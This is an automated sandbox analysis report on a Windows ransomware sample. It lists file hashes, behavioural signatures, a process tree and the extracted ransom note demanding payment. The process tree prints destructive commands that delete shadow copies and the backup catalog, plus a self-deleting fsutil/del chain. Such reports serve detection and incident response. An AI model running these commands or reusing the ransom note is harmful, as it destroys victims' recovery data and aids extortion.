Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    22-01-2024 15:53

General

  • Target

    d0dd0f7658b938f9a3036ce308f5018ae0cf3bc516aaf3c18b947afee136c043.exe

  • Size

    42KB

  • MD5

    8d809510a9ae7b8ef6fc6a25e5feaa22

  • SHA1

    eb0888326adbbbdf1537a965c4d26c71549d43f6

  • SHA256

    d0dd0f7658b938f9a3036ce308f5018ae0cf3bc516aaf3c18b947afee136c043

  • SHA512

    a9ed43be1285f73fda873ee0e39070d4cb3b4b5bd1e69b1506a42f4827f22d0d2f0ad2d25f204ea288f97f6eef787bf0133d0b3659bb8e815f55ff74210e557c

  • SSDEEP

    768:PO1oR/UVS1RzK4wbs+D/SIJX+ZZ1SQQwZuIOPzDRufTwsylLO/Ov:PoS1FKnDtkuImTlLOe

Malware Config

Extracted

Path

C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\+README-WARNING+.txt

Ransom Note
::: Greetings ::: Little FAQ: .1. Q: Whats Happen? A: Your files have been encrypted. The file structure was not damaged, we did everything possible so that this could not happen. .2. Q: How to recover files? A: If you wish to decrypt your files you will need to pay us. .3. Q: What about guarantees? A: Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will cooperate with us. Its not in our interests. To check the ability of returning files, you can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!) and low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee. .4. Q: How to contact with you? A: You can write us to our mailbox: [email protected] .5. Q: How will the decryption process proceed after payment? A: After payment we will send to you our scanner-decoder program and detailed instructions for use. With this program you will be able to decrypt all your encrypted files. .6. Q: If I don�t want to pay bad people like you? A: If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause only we have the private key. In practice - time is much more valuable than money. :::BEWARE::: DON'T try to change encrypted files by yourself! If you will try to use any third party software for restoring your data or antivirus solutions - please make a backup for all encrypted files! Any changes in encrypted files may entail damage of the private key and, as result, the loss all data.

Signatures

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Renames multiple (8300) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 46 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\d0dd0f7658b938f9a3036ce308f5018ae0cf3bc516aaf3c18b947afee136c043.exe
    "C:\Users\Admin\AppData\Local\Temp\d0dd0f7658b938f9a3036ce308f5018ae0cf3bc516aaf3c18b947afee136c043.exe"
    1⤵
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2080
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2708
      • C:\Windows\system32\vssadmin.exe
        vssadmin delete shadows /all /quiet
        3⤵
        • Interacts with shadow copies
        PID:1920
      • C:\Windows\system32\wbadmin.exe
        wbadmin delete catalog -quiet
        3⤵
        • Deletes backup catalog
        PID:2636
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic shadowcopy delete
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2920
    • C:\Users\Admin\AppData\Local\Temp\d0dd0f7658b938f9a3036ce308f5018ae0cf3bc516aaf3c18b947afee136c043.exe
      "C:\Users\Admin\AppData\Local\Temp\d0dd0f7658b938f9a3036ce308f5018ae0cf3bc516aaf3c18b947afee136c043.exe" n2080
      2⤵
        PID:1704
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ping 1.1.1.1 -n 5 & fsutil file setZeroData offset=0 length=131072 "C:\Users\Admin\AppData\Local\Temp\d0dd0f7658b938f9a3036ce308f5018ae0cf3bc516aaf3c18b947afee136c043.exe" & del /q /f "C:\Users\Admin\AppData\Local\Temp\d0dd0f7658b938f9a3036ce308f5018ae0cf3bc516aaf3c18b947afee136c043.exe"
        2⤵
        • Deletes itself
        • Suspicious use of WriteProcessMemory
        PID:2936
        • C:\Windows\SysWOW64\PING.EXE
          ping 1.1.1.1 -n 5
          3⤵
          • Runs ping.exe
          PID:2636
        • C:\Windows\SysWOW64\fsutil.exe
          fsutil file setZeroData offset=0 length=131072 "C:\Users\Admin\AppData\Local\Temp\d0dd0f7658b938f9a3036ce308f5018ae0cf3bc516aaf3c18b947afee136c043.exe"
          3⤵
            PID:1520
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2712
      • C:\Windows\system32\wbengine.exe
        "C:\Windows\system32\wbengine.exe"
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2572
      • C:\Windows\System32\vdsldr.exe
        C:\Windows\System32\vdsldr.exe -Embedding
        1⤵
          PID:2016
        • C:\Windows\System32\vds.exe
          C:\Windows\System32\vds.exe
          1⤵
            PID:2064
          • C:\Windows\system32\Dwm.exe
            "C:\Windows\system32\Dwm.exe"
            1⤵
              PID:2968

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\+README-WARNING+.txt

              Filesize

              1KB

              MD5

              5050dfc1de9457c380804ea54d95eb96

              SHA1

              598f2d5997cc0bd0d5bcf49232d93be6876db913

              SHA256

              37659d4b3904b1ec1cf95165926116379293b4b0cd7730c81197109aa9af7ac0

              SHA512

              98860f03d6e694e1414d31ba7607349324ec63cb9f90831ec48a3fbd6694944c5ab49268d1bc2337092746fc34641e88a9a7df5cdc22bff2ebe88a9b3f9934ae

            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

              Filesize

              344B

              MD5

              0d267c39612fd54d085e761c60d891dd

              SHA1

              96da0a2fce40dae7d9d833f21a7decd6a45b65f7

              SHA256

              eb881ad6c0c213df6933f572f1a406cf886151eb80c6a1a37ad8d47241a90717

              SHA512

              ed6a876faef3d2b50cdf735002950de3a79cf3b8c6f48daef46a298977dbde32dc0746d5c04c96e24e134bda8a4b7366be168ed69a08bf5e6acec13938dff448

            • C:\Users\Admin\AppData\Local\Temp\Cab3F34.tmp

              Filesize

              65KB

              MD5

              ac05d27423a85adc1622c714f2cb6184

              SHA1

              b0fe2b1abddb97837ea0195be70ab2ff14d43198

              SHA256

              c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

              SHA512

              6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

            • C:\Users\Admin\AppData\Local\Temp\Tar3FD3.tmp

              Filesize

              171KB

              MD5

              9c0c641c06238516f27941aa1166d427

              SHA1

              64cd549fb8cf014fcd9312aa7a5b023847b6c977

              SHA256

              4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

              SHA512

              936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06